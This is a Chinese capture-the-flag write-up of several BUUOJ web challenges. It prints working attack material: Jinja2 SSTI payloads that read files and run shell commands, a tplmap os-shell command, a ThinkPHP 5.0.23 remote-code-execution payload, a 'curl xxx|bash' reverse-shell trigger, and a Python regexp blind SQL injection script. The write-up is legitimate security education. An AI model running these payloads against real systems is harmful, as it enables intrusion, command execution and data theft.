fake google
隨便輸入然後查看源代碼發現
ssti
,應該是服務器模板注入,查了一個payload直接就可以查到flag
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}}
其實詳細的做法應該是先去判斷漏洞點,因爲這裏輸入就回顯,而且不是php
,所以就要去猜想是不是ssti
,這裏出題師傅也給出提示,就是ssti
,接下來判斷是什麼模板引擎
{{ }}在jinja2中爲變量包裹標識符,試一下{{config}}發現有回顯,判斷是jinja2模板
接下來看一下根目錄
{% for c in [].__class__.__base__.__subclasses__() %}
{%if%20c.__name__=='catch_warnings'%27'%}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}
{%endif%}
{% endfor %}
接下來讀一下flag即可
除此之外,還可以使用Tplmap
工具來做這道題
python tplmap.py -u http://8f55fac1-eb01-4ab6-898c-e9b8600cb0d8.node3.buuoj.cn//qaq?name= --os-shell
old-hack
thinphp5,百度查了一下漏洞,隨便拉一個payload試試
報錯發現thinkphp版本是5.0.23,直接查詢對應的RCE代碼
http://58d51614-57b0-4e33-90d8-1a430ed45f4b.node3.buuoj.cn/index.php?s=captcha
POST:
_method=__construct&filter[]=system&method=get&get[]=whoami
繼續讀取即可
duangShell
提示了是.swp備份文件,所以是Vim文件泄露
http://0b845bf5-dd6e-420d-a3e0-0307d1ec01f3.node3.buuoj.cn/.index.php.swp
使用vim打開
vim -r index.php.swp
過濾很多,而且最後執行的函數是exec,這個函數是無回顯的,所以首先想到反彈shell,使用
curl xxx|bash
觸發反彈shell
看題目說明
在靶機中寫入反彈shell的語句
觸發反彈shell
連接成功
接下來找flag就行了,flag在etc目錄下
find /etc -name flag
簡單注入
先FUZZ一下,看看都過濾了哪些東西
發現單引號、雙引號、=都被ban了,而且select也被ban了,這就要想其他方法了注入了,發現regexp沒有被ban,可以嘗試一下。
那接下來就要想怎麼使用regexp注入了,假設語句是這樣的
select username,password from user where username='$user' and password='$pass'
那單引號都被ban了,怎麼去繞過,查看剛纔FUZZ的測試,發現\
沒有被ban,所以可以使用反斜線去將單引號轉義,實現SQL語句逃逸,從而導致SQL注入。
select username,password from user where username='admin\' and password='or 1#'
既然知道了如果繞過了,就使用regexp布爾盲注,腳本如下:
import string
import requests
def ord2hex(string):
result = ''
for i in string:
result += hex(ord(i))
result = result.replace('0x','')
return '0x'+result
url = "http://1cad8e11-f1b7-4d3a-a16f-7341b53815bc.node3.buuoj.cn"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36'
}
#數字+字母字典
dict = string.ascii_letters + string.digits
temp = ''
for j in range(50):
for i in dict:
passwords = ord2hex('^'+temp+i)
payload = "or password regexp binary {}#".format(passwords)
data = {
'username': 'admin\\',
'password': payload
}
reponse = requests.post(url=url,headers=headers,data=data)
# print(reponse.text)
if 'BJD needs' in reponse.text:
temp = temp + i
print(temp.ljust(40, '.'))
break
這裏解釋一下,之所以payload中regexp後要加binary,是因爲題目提示了區分大小寫
MySQL中的正則表達式匹配不區分大小寫。
爲區分大小寫,可使用BINARY關鍵
還有就是之所以使用ord2hex()
這個函數,是因爲我們要使用正則表達式^
去匹配密碼,但單引號會被ban,所以轉換成16進制,而16進制在SQL執行時會自動變成字符。
感謝Y1ng師傅的解答
假豬套天下第一
一個登陸框,使用萬能密碼能夠登進去,但什麼也沒有發現,在用burp抓包的時候發現是302跳轉
進入看一下
之前做過一道題也是考這種設置時間的,看到Expires
一直以爲是在這裏做修改,還是不熟悉這個參數的意思
Expires 表示存在時間,允許客戶端在這個時間之前不去檢查(發請求)
觀察請求頭的COOKIE中包含了time的時間戳,提示是過99年,那就將當前時間戳加99年試試
這樣第一層就繞過去了,發現下面的提示是localhost,修改XFF
會發現過濾掉了這個XFF,那可以使用Client-IP
或者X-Real-IP
代替XFF即可
考察Referer,添加即可
添加之後,又出來一個Commodo 64這個,搜索一下
是一種老式電腦系統叫Commodore 64,所以這個應該是標識,修改UA即可
修改好之後,又出現一個emali,查資料發現
添加From
關鍵字代理,再查查資料
base64解碼即可
Schrödinger
一開始一臉懵,不知道要幹啥,抓包發現test.php
頁面
用戶名爲admin,讓我們去得出密碼,這裏一開始以爲是布爾盲注或時間盲注的,FUZZ測試等都不行,就猜想可能是這個爆破密碼,但也不對,回頭看首頁
把剛纔需要輸入密碼的連接在首頁input,爆出密碼
出現這些,點一下check會失敗,抓包發現有一個cookie很特別
base64解碼是一串數字1585230828
,應該是時間戳,在線轉換下
確實是,然後又就以爲是又要去查找這兩個參數
結果沒弄出來,就看了師傅的WP,發現把這個COOKIE置空再檢查即可
B站查AV號,後面的也是時間戳,查對應的時間即可查出flag